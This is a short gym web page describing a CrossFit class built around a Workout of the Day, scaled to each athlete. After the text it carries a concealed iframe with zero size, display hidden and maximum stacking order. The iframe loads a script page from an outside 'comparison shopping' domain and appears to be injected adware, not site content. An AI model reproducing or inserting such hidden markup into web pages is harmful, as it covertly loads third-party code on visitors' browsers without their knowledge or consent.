CrossFit

About the Class

Varied if not random functional movements done at high intensity. The CrossFit class focuses on the Workout of the Day (WOD) as posted on the website www.tamcrossfit.com. The WODs are scaled and modified to each athlete's level and performed at the highest intensity that the individual can sustain with good form and proper technique.   <iframe id="comparison_shopping_sf_id" style="position: fixed; right: 0px; bottom: 0px; z-index: 2147483647; display: none; padding: 0px; margin: 0px; border: initial none initial;" src="https://inst.shoppingate.info/js/sg_sf.html" width="0" height="0" name="comparison_shopping_sf_id" />